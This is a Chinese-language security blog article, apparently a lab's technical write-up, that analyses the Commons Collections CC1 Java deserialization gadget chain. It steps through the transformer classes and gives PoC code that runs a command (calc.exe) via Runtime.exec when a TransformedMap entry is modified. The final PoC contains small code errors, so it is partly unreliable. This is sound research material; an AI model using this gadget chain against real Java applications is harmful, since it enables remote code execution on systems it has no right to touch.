YsoserialCC1利用链构造分析
一.前言:
二.探究cc链
我们首先来看cc1的核心部分
public static void main(String[] args) {
Transformer transformers[]=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformChain= new ChainedTransformer(transformers);
}
我们首先来步入cc1中ConstantTransformer这个类,在这个类里面我们将我们输入的Runtime.class绑定给iCOnstant最后通过transform返回
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
接下来继续往下跟我们进入cc1的InvokerTransformer类我们来看看这个类做了什么
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
从代码我们可以清晰看到将我们传入的值分别给类的三个属性 iMethodName(方法名),iParamTypes(参数类型),iArgs进行绑定(参数值)。在最下面会把传入的参数input通过反射来调用input类中的方法。并且还是任意方法,正因为这个我们可以达到命令执行的这种效果。
我们继续看cc1链往下跟进入我们最为关键的一个类ChainedTransformer,这个类的主要功能就是首先将我们传入transformers数组中的元素调用他本类下的transform方法,代码如下
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
第一次循环:第一个元素是ConstantTransformer(Runtime.class),这个字符串被传入transform方法,返回Runtime.class,object变量变为Runtime.class。第二次循环:第二个元素invokerTransformer(“getMethod”,…),调用它的transform函数并将Runtime.class传入会返回Runtime.class.getClass().getMethod(“getRuntime”,new Class[0])...这样一直循环下去就可以构造出反射调用计算器的利用链
那么现在为了触发核心利用链需要有可以调用transform()的地方。利用的方式可以有两种这里我们先讲一种就是TransformedMap那么什么是TransformedMap,在Java中Map类是存储键值对的数据结构。Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(集合中的数据存储形式即是一个索引对应一个值),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义,简单来说就是TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作
TransformedMap这个类触发点是因为执行了 entry.setValue("anything")
for (Map.Entry<String,Object> entry:transformedMap.entrySet()){
System.out.println(entry);
entry.setValue("anything");
}
对应构造poc
HashMap innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。
那么为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢,是因为在entry.setValue("anything")前先执行了checkSetValue方法调用了valueTransformer.transform方法这样就会把我们ChainedTransformer中的东西拿去执行
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
完整poc
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
//首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("1", "HACK");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发Map中的MapEntry产生修改(例如setValue()函数
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
/*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
首先通过ConstantTransformer获得Runtime类
进一步通过反射调用getMethod找到invoke函数
最后再运行命令calc.exe。
*/
}
昆仑云安全实验室系列文章仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!
昆仑云安全实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!!!
原文始发于微信公众号(昆仑云安全):Ysoserial CC1利用链构造分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论